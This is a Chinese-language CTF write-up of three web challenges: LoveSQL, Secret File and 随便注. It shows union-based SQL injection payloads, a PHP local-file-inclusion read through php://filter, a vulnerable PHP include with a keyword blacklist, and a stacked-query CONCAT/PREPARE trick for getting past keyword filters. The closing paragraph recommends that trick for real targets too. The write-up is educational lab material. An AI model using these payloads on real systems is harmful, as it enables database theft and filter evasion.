[极客大挑战 2019]LoveSQL
题目一个登录框,测试一下注入
用户名输入1' 密码输入aa
报错You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'aa'' at line 1我们看到aa被单引号包裹
后台拼接后的sql语句是SELECT * FROM users WHERE username = '1'' AND password = 'aa'
在用户名输入单引号会引发语法错误,判断为字符型注入
所以输入用户名1' OR 1=1 #,这个语句会绕过登录验证,让where条件永远为真,返回所有用户,但这里只回显第一行。我们获取到第一个用户的数据
成功拿到admin账户和密码
通过1' union select 1,2,3#查出来有三列,然后看回显,2和3的位置都可以回显
1' union select 1,2,database()#可以看到当前数据库为geek
1' union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=database()#
看到第二位显示出了当前库中所有表名geekuser,l0ve1ysq1
1' union select 1,group_concat(column_name),database() from information_schema.columns where table_name='l0ve1ysq1'#可以看到第二位回显出l0velysql的列名
1' union select 1,group_concat(id,username,password),database() from l0ve1ysq1#即可看到flag
geekuser表同理查看,里面没有flag.
[极客大挑战 2019]Secret File
进入后查看页面源代码,发现有一个秘密文件的路径按钮,得知地址<a id="master" href="./Archive_room.php">Oh! You found me</a>
在bp抓包发现有一个secr3t.php
看到页面
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
传入?file=flag.php,源代码嘲讽我们,他不给我们看
那我们直接?file=php://filter/convert.base64-encode/resource=flag.php
decode一下base64就可以拿到flag
[强网杯 2019]随便注
一进来都预写好了1,提交一下 回显
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
使用1’回显SQL错误,说明可以用’闭合
使用一下SELECT
回显
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
通过order by可以判断出有两列,在1' order by 3#的时候报错
1'; show databases;看到数据库
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}
通过1'; show tables;看到表名
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
发现
1';show columns from `1919810931114514`;#
注意表名为纯数字的时候需要用反引号包裹
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
看到flag列
-1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1-- q
利用concat拼接成功拿到flag
利用CONCAT动态拼接与PREPARE/EXECUTE实现SQL注入绕过
实际Web目标为了防止SQL注入,经常会对输入参数做敏感关键字过滤(如select、update等)。但通过MySQL的CONCAT和PREPARE/EXECUTE机制,可实现敏感关键字的动态拼接,从而绕过WAF拦截:
- 通过
CONCAT('s','elect flag from flag_table')拼接SQL语句,绕过参数拦截。 - 用预编译语句
PREPARE stmt FROM @sql; EXECUTE stmt;执行拼接语句。 - 最终可以拿到数据库敏感字段(如flag)内容,而不被WAF过滤阻止。
这种方法是CTF和实战环境中的“经典绕过技巧”,具有极高通用性与实用价值。
Comments